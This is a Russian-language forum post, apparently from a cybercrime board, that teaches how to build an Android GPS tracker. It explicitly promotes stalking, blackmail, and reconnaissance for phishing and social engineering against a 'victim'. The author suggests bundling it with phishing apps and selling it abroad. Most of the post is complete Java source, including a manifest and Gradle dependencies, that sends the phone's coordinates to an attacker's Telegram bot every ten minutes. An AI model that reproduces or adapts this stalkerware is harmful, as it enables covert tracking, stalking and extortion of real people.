What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

GPS tracker on Android + Code

zebra0_0

Light Weight
Депозит
$0
Всем привет, в этой статье я продолжу цепочку написания точных туториалов по созданию простого но полезного софтов на платформе Android. Как всегда писать буду на языке программирования java так как он является нативным для android и с помощью Android Studio. Для совсем зелены (Те кто разбираются могут пропустить):

Нативный язык - язык программирования который предустановлен на платформе по которой мы работаем. Почему это важно? Это сделано чтоб нам было достаточно запустить код без нужды дополнительно установки целого языка на устройство.

К сути. В данной статье я расскажу про принцип работы а главное покажу и полность розжую код простого автоматического GPS трекера.


Основная часть:
Прежде чем объяснять как создать GPS трекер надо понять зачем нам это надо

GPS трекер можно использовать в разных целях, например:

  • Отслеживание местоположения: Основная цель — узнать, где находится жертва в режиме реального времени. Это может быть полезно в случае шантажа, преследования, или для сбора компрометирующей информации о человеке.
  • Слежка за передвижениями: с помощью софта трекера можно анализировать маршруты и повседневные передвижения жертвы, чтобы понять её привычки, распорядок дня, посещаемые места.
  • Контроль за контактами: Отслеживание местоположения позволяет узнать, с кем встречается жертва, особенно если они следят за определенными людьми или местами.
  • Сбор информации для взлома: Местоположение и информация о маршрутах жертвы могут помочь в определении её дома, работы и других личных данных, что может быть полезно для более широких атак, например, фишинга, социального инжиниринга и других видов взлома.
  • Использование данных для шантажа: Если вы узнаете личные данные жертвы, то сможете использовать их для шантажа или угроз, особенно если жертва скрывает свою активность или местоположение от других людей.

Внимание: Половина методов применения носит назначение при котором вы знаете жертву, то есть работаете по своему региону. А мы участники .is такое осуждаем ведь “Кто работает по ру к тем приходят по утру”. Поэтому они подходят только в целях для продажи людям вне нашего региона.

С метод применения разобрались но остаётся аспект что сами по себе они довольно бесполезны так-как закидывать целый файл ради одной слежки за телефон даже немного глупо. По-этому я советую вам использовать мои труды роботы как дополнения к более полезным функциям в качестве вишенки на торте. как пример могу привести функционал показанный в моих более ранних статьях или в качестве склейки с фишинговым программам.

Создание:
Создание каждого приложения на Android Studio можно разделить на такие пункты:

  • Выдача Разрешений
  • подбор API, фреймворков
  • Написание основного Activity
Выдача Разрешений:
Каждому Android приложению которое делают хоть что-то вне базы
требую разрешения. И для нас как для разработчиков Malware софта это очень плохо так как с каждой новой версией рамки сжимают. Например для некоторый разрешений больше не достаточно просто нажать кнопку “Разрешить” надо заходить в настройки и выдавать отдельную. галочку. Не удивлюсь если в 2050 тебе будет звонить сотрудник MicroSoft по видеосвязи и попросит устное разрешение. Но нам повезло ведь для получения гео локации пока достаточно нажать одну кнопку. Пример оставил на фото:


Как и выдать?
Для их выдачи надо прописать разрешения в файле Manifest.xml перед application.

Код:


XML: Скопировать в буфер обмена
Code:
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.INTERNET"/>

На подчёркивание в 5й строке не обрушайте внимание так-как на работо способность это не влияет.
Эти два разрешения это все которые нам нужны.

  • ACCESS_FINE_LOCATION - именно то разрешение которое даёт нам доступ к геолокации жертвы.
  • INTERNET - базовое разрешение которое не требует подтверждение от пользователя и просто даёт доступ приложению к функция интернета.
Но это не конец и после этого надо первым делом прописать запрашивание разрешений уже внутри нашего java файла, у меня это MainActivity.
код:
Java: Скопировать в буфер обмена
Code:
private void checkLocationPermission() {
 if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
  ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.ACCESS_FINE_LOCATION}, LOCATION_PERMISSION_REQUEST_CODE);
 } else {
  startLocationUpdates();
 }
}

Этот код сначала проверяет, предоставлено ли разрешение. Если нет, то приложение запрашивает его у пользователя. Эта часть выполняется в методе checkLocationPermission().
  • ContextCompat.checkSelfPermission — проверяет, есть ли разрешение.
  • ActivityCompat.requestPermissions — если разрешение не предоставлено, оно запрашивается у пользователя.
После выполнения запроса результат обрабатывается в методе onRequestPermissionsResult().
Добавление зависимостей
Далее вам надо будет зайти в файл build.gradle.kts это файл в Android-проекте используется для настройки сборки проекта и управления зависимостями с помощью Kotlin DSL (Domain Specific Language). Существует два файла build.gradle.kts в каждом проекте Android: один для проекта в целом (находится в корневом каталоге) и один для каждого модуля (например, app/build.gradle.kts).
Нам нужен app/build.gradle.kts .
В нём вам надо найти dependencies (зависимости) в Android-проекте — это внешние библиотеки, модули или файлы, которые проект использует для выполнения различных задач. Эти зависимости подключаются через систему сборки Gradle. Зависимости позволяют избежать дублирования кода, экономить время разработки и улучшать производительность, используя уже готовые решения для типичных задач.

Так вот, внутрь dependencies надо вписать:

Код: Скопировать в буфер обмена
Code:
implementation ("com.google.android.gms:play-services-location:21.0.1")
implementation ("com.squareup.okhttp3:okhttp:4.9.3")

чтоб добавить эти внешние библиотеки к нам в проект.
  • com.google.android.gms:play-services-location:21.0.1 — это зависимость, которая относится к библиотекам Google Play Services и предназначена для работы с функциями местоположения на Android. Она предоставляет разработчикам доступ к API, позволяющим получать данные о местоположении устройства, управлять обновлениями местоположения и работать с геолокацией.
  • com.squareup.okhttp3:eek:khttp:4.9.3 — это зависимость для библиотеки OkHttp, которая представляет собой популярный HTTP-клиент для Java и Android, разработанный компанией Square. Эта библиотека используется для выполнения сетевых запросов, обработки ответов и управления соединениями.
почему именно OkHttp
  • Поддержка HTTP/2: OkHttp автоматически использует HTTP/2 для многопоточной передачи, что может существенно повысить производительность и снизить задержки.
  • Кэширование: Библиотека поддерживает кэширование HTTP-запросов, что помогает снизить нагрузку на сеть и улучшить скорость загрузки данных.
  • Поддержка WebSocket: OkHttp предоставляет поддержку WebSocket для двухсторонней связи в реальном времени.
  • Поддержка перезапросов: Она может автоматически повторять неудачные запросы, что делает работу с нестабильными сетями более надежной.
  • Простота использования: Библиотека имеет понятный API, что облегчает работу с HTTP-запросами.

Теперь перейдём импортам:
Java: Скопировать в буфер обмена
Code:
import android.Manifest;
import android.content.pm.PackageManager;
import android.location.Location;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;

import com.google.android.gms.location.FusedLocationProviderClient;
import com.google.android.gms.location.LocationCallback;
import com.google.android.gms.location.LocationRequest;
import com.google.android.gms.location.LocationResult;
import com.google.android.gms.location.LocationServices;

import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

Тут указаны все импорты которые использует приложение.

Далее создадим основные переменные для настроек проекта:

Java: Скопировать в буфер обмена
Code:
private static final String TELEGRAM_TOKEN = "Токен вашего бота";
private static final String CHAT_ID = "ваш Chat_id";
private static final int LOCATION_PERMISSION_REQUEST_CODE = 1;
private static final long INTERVAL_MS = 600000; // Интервал в 10 минут (600 000 мс)

В ним мы указываем:
  • TELEGRAM_TOKEN - Токен вашего Телеграм бота
  • CHAT_ID - Ваш Chat id по которому бот будет отправлять данные
  • INTERVAL_MS - количество мили секунд через которое будет отправляется гео позиция, без этого будет спам несколько раз в секунду. Я поставлю 10 мин что ровно 600000 мс

Настройка обновлений местоположения
Для получения GPS-данных, мы используем FusedLocationProviderClient который предоставляет API для получения и отслеживания место положения.
код:
Java: Скопировать в буфер обмена
Code:
LocationRequest locationRequest = LocationRequest.create();
locationRequest.setPriority(LocationRequest.PRIORITY_HIGH_ACCURACY);
locationRequest.setInterval(INTERVAL_MS);

  • LocationRequest.create() — создает объект запроса местоположения.
  • setPriority(LocationRequest.PRIORITY_HIGH_ACCURACY) — задает высокую точность (по GPS).
  • setInterval(INTERVAL_MS) — интервал получения обновлений местоположения (10 минут).

Обработка данных о местоположении
LocationCallback отвечает за обработку данных, полученных при изменении местоположения, и вызывает метод sendLocationToTelegram() для отправки данных.
Код:
Java: Скопировать в буфер обмена
Code:
locationCallback = new LocationCallback() {
 @Override
 public void onLocationResult(LocationResult locationResult) {
  if (locationResult == null) {
   return;
  }
  for (Location location : locationResult.getLocations()) { // was made by zebra0_0 for .is
   if (location != null) {
    double latitude = location.getLatitude();
    double longitude = location.getLongitude();
    sendLocationToTelegram(latitude, longitude);
   }
  }
 }
};

  • LocationResult.getLocations() — возвращает список последних координат.
  • getLatitude() и getLongitude() — извлекают широту и долготу из объекта Location.

Отправка данных в Telegram
Метод sendLocationToTelegram() формирует HTTP-запрос к Telegram API с использованием библиотеки OkHttp.
Код:
Java: Скопировать в буфер обмена
Code:
private void sendLocationToTelegram(double latitude, double longitude) {
 String message = "Current Location: " + latitude + ", " + longitude;
 String url = "https://api.telegram.org/bot" + TELEGRAM_TOKEN
     + "/sendMessage?chat_id=" + CHAT_ID
     + "&text=" + message;

 OkHttpClient client = new OkHttpClient();
 Request request = new Request.Builder().url(url).build();

 client.newCall(request).enqueue(new Callback() {
  @Override
  public void onFailure(@NonNull Call call, @NonNull IOException e) {
   e.printStackTrace();
  }

  @Override
  public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException {
   if (response.isSuccessful()) {
    System.out.println("Location sent successfully"); // was made by zebra0_0 for .is
   } else {
    System.out.println("Error sending location: " + response.message());
   }
  }
 });
}

  • OkHttpClient — создает HTTP-клиент для отправки запроса.
  • URL — формируется с токеном бота, ID чата и текстом сообщения.
  • newCall().enqueue() — отправляет запрос в отдельном потоке, обрабатывая ответ через интерфейсы onFailure и onResponse.

Запуск периодического обновления местоположения
Чтобы отправлять местоположение каждые 10 минут, используется Handler и Runnable, которые позволяют запустить функцию отправки с установленной задержкой.

Код:
Java: Скопировать в буфер обмена
Code:
locationRunnable = new Runnable() {
 @Override
 public void run() {
  if (ActivityCompat.checkSelfPermission(MainActivity.this, Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED) {
   fusedLocationClient.requestLocationUpdates(locationRequest, locationCallback, null);
  }
  handler.postDelayed(this, INTERVAL_MS); // Повторяем через 10 минут
 }
};
handler.post(locationRunnable); // Запускаем Runnable

  • Runnable — в блоке кода вызывается requestLocationUpdates() каждые 10 минут.
  • handler.postDelayed() — устанавливает отложенный запуск для выполнения Runnable.

Полный процесс работы
  • Приложение запрашивает разрешение на доступ к GPS.
  • После получения разрешения начинается обновление местоположения.
  • Каждые 10 минут приложение получает координаты.
  • Местоположение отправляется в Telegram через HTTP-запрос.

Важные моменты:
  • Убедитесь, что у бота Telegram есть разрешение на отправку сообщений в чат (при необходи мости добавьте бота в чат).
  • Проверьте, что устройство подключено к интернету, иначе отправка данных не произойдет.

Про код вроде всё рассказал. Теперь перейдём к результату.
Если вы заделали всё правильно то в конечно результате вы будете получать каждые 10 мин(Или столько сколько вы указали в переменой) сообщения в автоматическом режиме от телеграмм бота.
Они будет выглядеть так:

На месте замазоного у вас после двоеточия будет 17 цифр разделённых 2 точками и 1 запятой. Но как с них достать кординаты?
Вы просто берёте эти цифры и вбиваете их в поиск google maps или других веб карт, после чего получаете максимально возможно гео точку с место нахождение телефона.

результат:


полный код:
Java: Скопировать в буфер обмена
Code:
package com.example.gps;

import android.Manifest;
import android.content.pm.PackageManager;
import android.location.Location;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;

import com.google.android.gms.location.FusedLocationProviderClient;
import com.google.android.gms.location.LocationCallback;
import com.google.android.gms.location.LocationRequest;
import com.google.android.gms.location.LocationResult;
import com.google.android.gms.location.LocationServices;

import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

public class MainActivity extends AppCompatActivity {

 private static final String TELEGRAM_TOKEN = "Your telgrem bot TOKEN";
 private static final String CHAT_ID = "Your Chad id";
 private static final int LOCATION_PERMISSION_REQUEST_CODE = 1;
 private static final long INTERVAL_MS = 600000; // Интервал в 10 минут (600 000 мс) // was made by zebra0_0 for .is

 private FusedLocationProviderClient fusedLocationClient;
 private LocationCallback locationCallback;
 private Handler handler;
 private Runnable locationRunnable;

 @Override
 protected void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.activity_main);

  fusedLocationClient = LocationServices.getFusedLocationProviderClient(this);
  handler = new Handler(Looper.getMainLooper());

  // Проверка и запрос разрешений
  checkLocationPermission(); // was made by zebra0_0 for .is
 }

 private void checkLocationPermission() {
  if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION)
    != PackageManager.PERMISSION_GRANTED) {
   ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.ACCESS_FINE_LOCATION}, LOCATION_PERMISSION_REQUEST_CODE);
  } else {
   startLocationUpdates();
  }
 }

 private void startLocationUpdates() {
  // Создаем запрос на обновление местоположения
  LocationRequest locationRequest = LocationRequest.create();
  locationRequest.setPriority(LocationRequest.PRIORITY_HIGH_ACCURACY);
  locationRequest.setInterval(INTERVAL_MS); // Интервал обновления местоположения в мс

  locationCallback = new LocationCallback() {
   @Override
   public void onLocationResult(LocationResult locationResult) {
    if (locationResult == null) {
     return;
    }
    for (Location location : locationResult.getLocations()) {
     if (location != null) {
      double latitude = location.getLatitude();
      double longitude = location.getLongitude();
      sendLocationToTelegram(latitude, longitude);
     }
    }
   }
  };

  // Запускаем цикл отправки каждые 10 минут
  locationRunnable = new Runnable() {
   @Override
   public void run() {
    if (ActivityCompat.checkSelfPermission(MainActivity.this, Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED) {
     fusedLocationClient.requestLocationUpdates(locationRequest, locationCallback, null);
    }
    handler.postDelayed(this, INTERVAL_MS); // Повторяем через 10 минут
   }
  };
  handler.post(locationRunnable); // Запускаем Runnable
 }

 private void sendLocationToTelegram(double latitude, double longitude) {
  String message = "Current Location: " + latitude + ", " + longitude;
  String url = "https://api.telegram.org/bot" + TELEGRAM_TOKEN
    + "/sendMessage?chat_id=" + CHAT_ID
    + "&text=" + message;

  OkHttpClient client = new OkHttpClient();
  Request request = new Request.Builder().url(url).build();

  client.newCall(request).enqueue(new Callback() {
   @Override
   public void onFailure(@NonNull Call call, @NonNull IOException e) {
    e.printStackTrace();
   }

   @Override
   public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException {
    if (response.isSuccessful()) {
     System.out.println("Location sent successfully");  // was made by zebra0_0 for .is
    } else {
     System.out.println("Error sending location: " + response.message());
    }
   }
  });
 }

 @Override
 public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
  super.onRequestPermissionsResult(requestCode, permissions, grantResults);
  if (requestCode == LOCATION_PERMISSION_REQUEST_CODE) {
   if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
    startLocationUpdates();
   } else {
    // Действия, если пользователь отказал в разрешении
    System.out.println("Permission denied");
   }
  }
 }

 @Override
 protected void onDestroy() {
  super.onDestroy();
  if (locationRunnable != null) {
   handler.removeCallbacks(locationRunnable); // Остановка цикла отправки
  }
  fusedLocationClient.removeLocationUpdates(locationCallback); // was made by zebra0_0 for .is
 }
}

Вложения​

  • 1729906874569.png
    1729906874569.png
    342.6 КБ · Просмотры: 0
  • 1729906891460.png
    1729906891460.png
    342.6 КБ · Просмотры: 0
 
Top